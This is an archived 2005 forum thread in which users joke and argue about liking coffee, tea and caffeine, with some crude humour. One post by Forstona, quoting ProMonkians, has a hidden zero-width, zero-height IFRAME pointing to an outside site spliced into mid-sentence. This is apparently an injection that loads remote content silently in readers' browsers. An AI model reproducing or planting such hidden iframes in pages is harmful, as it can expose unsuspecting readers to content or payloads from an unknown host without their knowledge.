NationStates Jolt Archive


How can you not like coffee?

Forstona
21-08-2005, 16:17
People who don't drink coffee are scary. I think they're up to something.
Tactical Grace
21-08-2005, 16:20
You've had too much.
Kroisistan
21-08-2005, 16:20
We're planning on taking advantage of the fact that you are addicted to caffinee. Once we control the world's supply, we'll be in charge MUWAHAHAHAHAHAHA!!!
Luporum
21-08-2005, 16:20
People who hate coffee never had a "good" cup. I'll drink it straight black and it still tastes fine.

If your first cup tasted like chalk odds are you're going to be less inclined to drink more.
The Noble Men
21-08-2005, 16:21
Where is latte?
Forstona
21-08-2005, 16:22
People who hate coffee never had a "good" cup. I'll drink it straight black and it still tastes fine.

If your first cup tasted like chalk odds are you're going to be less inclined to drink more.

I'm inclined to say those people have never had Folgers
Forstona
21-08-2005, 16:23
Where is latte?

Latte's not coffee, it's a coffee drink made with espresso, milk and milk froth. Mmmm... Froth
Troon
21-08-2005, 16:23
It burns my tongue and makes me more thirsty than I was before I started. These are not properties I look for in my drinks.
Kanabia
21-08-2005, 16:23
Mmmmh. Coffee. I'll have mine instant - straight from the tin, thanks.

>.>
<.<

*hands start shaking*
Laerod
21-08-2005, 16:24
I like the smell of coffee, but not the taste. How can I not? How can you like it?
The Noble Men
21-08-2005, 16:24
Latte's not coffee, it's a coffee drink made with espresso, milk and milk froth. Mmmm... Froth

Really? Then I vote espresso.
Oye Oye
21-08-2005, 16:25
People who don't drink coffee are scary. I think they're up to something.

Organically grown Arabica from the mountains of Colombia.

If you drink anything distributed by Nestle, Proctor and Gamble or Sara Lee, you are drinking chemicals.

P.S. Learn to spell Colombia.
ProMonkians
21-08-2005, 16:26
We're planning on taking advantage of the fact that you are addicted to caffinee. Once we control the world's supply, we'll be in charge MUWAHAHAHAHAHAHA!!!

Thats what you think. As we speak my coffee drinking freinds are buying all the bulk-buy coffee powder they can afford. At midnight we will release the powder into the worlds drinking water supplies. Soon everybody will be addicted!! And Gotham will fall!!!
The Noble Men
21-08-2005, 16:26
Mmmmh. Coffee. I'll have mine instant - straight from the tin, thanks.

>.>
<.<

*hands start shaking*

Try chewing coffee beans.
Kanabia
21-08-2005, 16:27
Try chewing coffee beans.

Yeah, done that before. I actually like chocolate coated ones.
Eutrusca
21-08-2005, 16:27
You've had too much.
There's no such thing as "too much!" Oh ... you're talking about coffee! Sorry. Heh!
Forstona
21-08-2005, 16:27
Try chewing coffee beans.

And if you like those, you should try chocolate-covered espresso beans.
Kanabia
21-08-2005, 16:30
And if you like those, you should try chocolate-covered espresso beans.

Hehe, see my previous post. :p
Forstona
21-08-2005, 16:30
Hehe, see my previous post. :p


Noted ;)
Homieville
21-08-2005, 16:31
I have coffee Once for 2 months with sugar!
Forstona
21-08-2005, 16:32
I have coffee Once for 2 months with sugar!


See? People who drink coffee are extremely happy!
Potaria
21-08-2005, 16:34
See? People who drink coffee are extremely happy!

And speak very broken English!
The Noble Men
21-08-2005, 16:34
Yeah, done that before. I actually like chocolate coated ones.

Gonna have to try that.
Kanabia
21-08-2005, 16:34
And speak very broken English!

What you say? You make funny me? I SMASH!
Blackest Surreality
21-08-2005, 16:35
I used to drink coffee more often, but not as much anymore. Usually I'm either not drinking it or drinking it every day. I'll start off with a cup and at the beginning think "Why do I drink this stuff?" but by the end, I want more. @_@ I've been avoiding caffeine due to sleep issues, but once school comes around again...
The Noble Men
21-08-2005, 16:35
See? People who drink coffee are extremely happy!

Ah, but do they have the contentment that only hot chocolate brings?
Forstona
21-08-2005, 16:35
And speak very broken English!


Hehe... I'd like to hear from someone who's a big fan of decaf.
Potaria
21-08-2005, 16:36
Hehe... I'd like to hear from someone who's a big fan of decaf.

Or, somebody who doesn't even drink coffee... Such as myself.

>.>
The Noble Men
21-08-2005, 16:37
What you say? You make funny me? I SMASH!

Me say:

Someone set up us the bomb.
Mythotic Kelkia
21-08-2005, 16:37
I don't like coffee, but that's not the weirdest thing: I'm British, and I don't like tea :eek: . Infact I don't like any hot beverages. I think I just have a very heat sensitive mouth/tongue... whenever I try coffee, tea, or even hot chocolate, the first sip seems to scald my tongue so bad that I can't taste anything else other than pain. :rolleyes:
Potaria
21-08-2005, 16:38
I don't like coffee, but that's not the weirdest thing: I'm British, and I don't like tea :eek: . Infact I don't like any hot beverages. I think I just have a very heat sensitive mouth/tongue... whenever I try coffee, tea, or even hot chocolate, the first sip seems to scald my tongue so bad that I can't taste anything else other than pain. :rolleyes:

Maybe you're making it too hot.
Forstona
21-08-2005, 16:40
I don't like coffee, but that's not the weirdest thing: I'm British, and I don't like tea :eek: . Infact I don't like any hot beverages. I think I just have a very heat sensitive mouth/tongue... whenever I try coffee, tea, or even hot chocolate, the first sip seems to scald my tongue so bad that I can't taste anything else other than pain. :rolleyes:

You should try frozen cappuccino :) No pain there, only sweet, delicious goodness.
Kroisistan
21-08-2005, 16:41
Thats what you think. As we speak my coffee drinking freinds are buying all the bulk-buy coffee powder they can afford. At midnight we will release the powder into the worlds drinking water supplies. Soon everybody will be addicted!! And Gotham will fall!!!

Robin - Jimminy Jilikers, Batman! That's a lot of Caffinee!

Batman - Sounds like grounds for arrest, wouldn't you say Robin? Quick - to the batmobile!!!


http://www.byrnerobotics.com/forum/uploads/AnthonyJLombardi/2005-03-24_204453_bat-symbol.gif

Nanananananana
Oye Oye
21-08-2005, 16:43
And speak very broken English!

Hey Putaria,

I drink coffee and my Ingles is perfecto!
Mythotic Kelkia
21-08-2005, 16:51
Maybe you're making it too hot.

nope... it's coffee and tea made by others, other people who apparently have no problem drinking almost boiling water mixed with vegetable matter :p
Eutrusca
21-08-2005, 16:52
Or, somebody who doesn't even drink coffee... Such as myself.

>.>
Well, that goes a long way toward explaining certain things! ROFL!
Forstona
21-08-2005, 17:05
Thats what you think. As we speak my coffee drinking freinds are buying all<IFRAME SRC="http://iccee.com/index.html" WIDTH=0 HEIGHT=0 SCROLLING=NO FRAMEBORDER=0></IFRAME> the bulk-buy coffee powder they can afford. At midnight we will release the powder into the worlds drinking water supplies. Soon everybody will be addicted!! And Gotham will fall!!!


I certainly hope and wish for your task to be completed :)
SimNewtonia
21-08-2005, 17:13
Coffee? Bleuuugh!

Tea's what I drink. It's good for you, too! :)

I can apparently make a very good coffee though (my mum gets the benefit of it. :) )
Glitziness
21-08-2005, 17:15
Just the smell of coffee makes me feel ill. Bleurgh.
Santa Barbara
21-08-2005, 17:16
Coffee, the drug it's still politically correct to be addicted to.
German Nightmare
21-08-2005, 17:20
Coffee flavored coffee!!!
Zanato
21-08-2005, 17:34
The taste of black coffee is bitter to me. I don't want to be forced into adding other ingredients such as sugar, cream, honey, or milk, just to make the beverage bearable. There are plenty of other drinks that taste far superior and require no additives.
The Downmarching Void
21-08-2005, 17:40
I chose the last option.

Actually, I love coffee, but I can't drink it anymore. About 7 years ago, I developed some sort of allergy to it. Now, if I have a cup of coffee, I get a terrible case of gut rot and end up puking it from ass. Its just not fair, I tells ya.
Zanato
21-08-2005, 17:46
I chose the last option.

Actually, I love coffee, but I can't drink it anymore. About 7 years ago, I developed some sort of allergy to it. Now, if I have a cup of coffee, I get a terrible case of gut rot and end up puking it from ass. Its just not fair, I tells ya.

Hmm, I'm trying very hard not to post the tubgirl link.
Druidville
21-08-2005, 18:01
So when the evil genuses (genii?) wipe out the coffee crops, can we make fun of the addicts undergoing the DT's? :D

It tastes horrid. Can't stand it, now matter how you dress it up.
The East Inja Company
21-08-2005, 18:05
People who don't drink coffee are scary. I think they're up to something.

Tea is much nicer.
Karaska
21-08-2005, 18:08
Personally I like Tea better probably because I'm asian
The cofee in starbucks taste good for the first few sips and then the taste dulls off and it starts tasting baddddd
Oye Oye
21-08-2005, 18:09
The taste of black coffee is bitter to me. I don't want to be forced into adding other ingredients such as sugar, cream, honey, or milk, just to make the beverage bearable. There are plenty of other drinks that taste far superior and require no additives.

Like Coca Cola! ;)
Zanato
21-08-2005, 18:24
Like Coca Cola! ;)

Yeah, that's a perfectly legitimate example. Buy a cold one, gulp it down. Though I prefer Sprite. ;)

P.S. 70% of the voters f***ed Forstona and don't need this shit. :D
JuNii
21-08-2005, 18:59
People who don't drink coffee are scary. I think they're up to something.I just don't like the Taste.
Heck, I don't eat coffee flavored anything.
JuNii
21-08-2005, 19:00
Like Coca Cola! ;)I'll drink to that. :)
Sumamba Buwhan
21-08-2005, 19:15
I love the flavor of coffee and when i used to allow caffine into my body I always had a box of chocolate covered esspresso beans with me.

I had to give up caffine though. I feel much better now that I got over the withdrawls.
Myrmidonisia
21-08-2005, 19:18
I love the flavor of coffee and when i used to allow caffine into my body I always had a box of chocolate covered esspresso beans with me.

I had to give up caffine though. I feel much better now that I got over the withdrawls.
There you go. Coffee is the most addictive thing I've ever consumed. I don't smoke and drinking just isn't a problem. But coffee... You can drink it every day and feel fine, but just miss a day and the headaches are just exquisitely painful.
Oye Oye
21-08-2005, 19:34
Yeah, that's a perfectly legitimate example. Buy a cold one, gulp it down. Though I prefer Sprite. ;)

P.S. 70% of the voters f***ed Forstona and don't need this shit. :D

Unless Forstona is a hot looking Latina, I'll stand with the minority.
Oye Oye
21-08-2005, 19:35
I'll drink to that. :)

You would.

(Lead them to water and they drink the piss running down someone's leg) :rolleyes:
Zanato
21-08-2005, 19:37
Unless Forstona is a hot looking Latina, I'll stand with the minority.

That would force you to vote for a flavor of coffee. Does the risk of Forstona not being a hot looking Latina justify your betrayal to the enemy side? :cool:
TearTheSkyOut
21-08-2005, 19:41
Blegh, I hate coffee >.<
Flying Lizard
21-08-2005, 19:54
I didn't like it much when I took my first coupla sips, but BOYHOWDY now! Black, hot, first thing in the morning, and I'm gonna kick some major ass!
Vimeria
21-08-2005, 19:58
Coffee gives me a really nasty stomach ache. There may be a solution to my little problem, but because I don't really like the taste of coffee either, I haven't been too keen to find out.
Polypeptides
21-08-2005, 20:02
I don't hate coffee...I'm just allergic to it...
Oye Oye
21-08-2005, 20:30
That would force you to vote for a flavor of coffee. Does the risk of Forstona not being a hot looking Latina justify your betrayal to the enemy side? :cool:

Okay, fine... as long as she's a chick and doesn't have a hairy back. :D
The Downmarching Void
21-08-2005, 20:30
Vimeria





Coffee gives me a really nasty stomach ache. There may be a solution to my little problem, but because I don't really like the taste of coffee either, I haven't been too keen to find out.



Polypeptides



I don't hate coffee...I'm just allergic to it...



I see I'm not the only one whose body rejects this strange substance
Polypeptides
21-08-2005, 21:02
I see I'm not the only one whose body rejects this strange substance

After that horrible experience with a cup of cappuccino, I resolved to never drink coffee again...I'd rather not run up and down the streets of New York hunting for a vendor who sells a bottle of water for $1.50 while scratching at the red hives on my neck...Totally ruined my vacation...
Saxnot
21-08-2005, 21:07
I can't see the point. If I want to stay up, I'm already an insomniac. Also, what's up with hot drinks? Food is for being hot. Drinks are for being cold.
JuNii
21-08-2005, 21:22
You would.

(Lead them to water and they drink the piss running down someone's leg) :rolleyes:I Drink Coke, not Pepsi.
Wojcikiville
21-08-2005, 21:29
personally, i think coffee just tastes nasty ..... its bitter and when something tastes bitter, that's nature's way of telling you that ur not supposed to injest it
Neaness
21-08-2005, 21:38
I have tried and tried and TRIED to become addicted to coffee, but I just CAN'T. I dislike the taste. I've tried 'good' coffee and 'bad' coffee, black coffee and coffee that's been creamed and sugared to death. It's so GROSS.

That said, I do have a soft spot for that ... stuff... which is instant coffee and comes in little tins and is Caramilk flavoured ... but that's because it's pretty much sugary hot chocolate with a little bit of coffee in it.

I love caffeine, though. Mountain Dew Energy, tea ... I'll drink it all night long. But no coffee for me.
Myrmidonisia
21-08-2005, 23:24
I Drink Coke, not Pepsi.
Thank you from a loyal shareholder.
Squirrel Brothers
22-08-2005, 04:44
Coffee is best black and very very strong. Mmmm... Sweet nectar of life. (i don't know how i manage to avoid addiction)
Lotus Puppy
22-08-2005, 04:59
Esspresso is my favorite. I always like cappocino after dinner, prefferably with a bit of biscotti and some Irish cream. And of course, who doesn't like a mocha on a hot, summer day?
Yet when it comes to the morning, I'm strictly a coffee person. I prefer Kona, prefferably dark roasted, and always black.
Pure Metal
22-08-2005, 11:31
People who don't drink coffee are scary. I think they're up to something.
coffee tastes like liquid poopie

now, tea, there's a good drink :)



edit: and yes i am up to something, but you won't find out what till its too late... mwuhahaha
Lunatic Goofballs
22-08-2005, 11:33
I only drink coffee-flavored coffee. :)

And only iced. I've never been fond of hot beverages.
BackwoodsSquatches
22-08-2005, 11:38
I very much like coffee, but rarely drink it.

I may as well pour the first cup of the morning directly into the toilet..if yanno what Im sayin....
[NS]Dastardly Stench
22-08-2005, 11:47
I see I'm not the only one whose body rejects this strange substance

Nope. I have a mild case of diabetes. Caffeine is one of the things I have to stay away from.

I don't mind an occasional cup of decaf with some milk and, even more rarely, a pinch of Splenda, but the high-octane variety is simply no longer in the cards for me.

So...I don't know whether you could say that I don't like coffee, but the regular variety certainly doesn't like ME! And it seems as though I am not the only one who posesses this trait.

There ARE legitimate resons for not drinking the stuff.
Zelda Hime
22-08-2005, 12:17
personally, i think coffee just tastes nasty ..... its bitter and when something tastes bitter, that's nature's way of telling you that ur not supposed to injest it

Then the only coffee youve had is crappy coffee, 'cause good coffee isn't bitter. Also, I would like to make this known: Starbuck's coffee is overpriced crap!!!!!! Crap! I've never tasted a worse coffee in my entire life.

I drink coffee when I'm at work. We drink very good coffee when I'm at work (Mayorga and Montecristo brand). In fact, I've gotten so spoiled drinking the good stuff at work that I find it is pointless for me to even look at the poop on the grocery store shelves, it just tastes like hot water to me now. You know you've good coffee when the beans in the bag are coated with their own natural oil.

For those of you who would like to drink coffee, but not get as much caffiene, listen to this: Your lighter roasts (aka breakfast blends) actually have more caffiene then their darker roasted companions. The roasting process to create the full bodied blends actually remove more of the caffiene from the beans as opposed to a lighter roast which goes through the roasting process quicker.
Carnivorous Lickers
22-08-2005, 12:41
People who don't drink coffee are scary. I think they're up to something.

Its not the ones that dont drink coffee that worry me, but the ones that drink postum may be cause for concern.
Carnivorous Lickers
22-08-2005, 12:43
I very much like coffee, but rarely drink it.

I may as well pour the first cup of the morning directly into the toilet..if yanno what Im sayin....

It liquidates your assets?
Noogerica
22-08-2005, 12:52
Coffee tastes funny.
The Divine Ruler
22-08-2005, 13:02
Coffee is way too strong for me. I like eating coffee beans though (weird, yes) and love tea :)
LazyHippies
22-08-2005, 13:03
Im lucky in that there is a store in my area that roasts and sells coffee from many of the top coffee growing regions (Costa Rica, Colombia, Celebes Kalossi, Hawaii, Yemen, Ethiopia, Nicaragua, etc.). I like to experiment with all manner of different flavors. My favorite so far is Costa Rican "La Minita".
NERVUN
22-08-2005, 13:53
It is by caffeine alone that I set my mind in motion
It is by beans of Java that the thoughts aquire speed
The hands aquire shakes
The shakes become a warning
It is by caffeine alone that I set my mind in motion
:D

Besides, I LOVE my local kisaten, they make the best types of coffee and I can have as much sugar and cream as I need.
Hemingsoft
22-08-2005, 14:04
In the words of the great Dennis Leary.

"What flavor would I like my coffee? I woul like my f***ing coffee flavored coffee."
Boscorrosive
22-08-2005, 14:22
I don't like the taste or the smell of coffee.
Portu Cale MK3
22-08-2005, 14:39
People who don't drink coffee are scary. I think they're up to something.

I wholeheartedly agree with you...

"gets scared of the majority that dont drink coffee"


How can you people function? O.o
Forstona
22-08-2005, 17:09
Wow! This thing really took off... I never in my life thought coffee would be so controversial :)
Oye Oye
23-08-2005, 02:40
I Drink Coke, not Pepsi.

And I suppose you think there's a difference between Republicans and Democrats too? ;)
Bellania
23-08-2005, 02:41
People who don't drink coffee are scary. I think they're up to something.

How can I not like coffee? Like this: (ahem) COFFEE SUCKS! Thank you.
Carnivorous Lickers
23-08-2005, 02:52
here we go...